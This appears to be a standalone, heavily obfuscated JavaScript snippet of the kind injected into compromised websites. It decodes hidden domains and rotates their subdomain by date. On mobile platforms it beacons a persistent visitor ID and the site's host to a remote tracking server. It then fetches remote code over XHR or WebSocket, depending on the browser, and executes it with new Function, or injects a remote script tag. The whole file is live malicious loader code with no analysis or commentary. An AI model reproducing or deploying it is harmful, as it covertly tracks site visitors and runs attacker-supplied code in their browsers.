function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};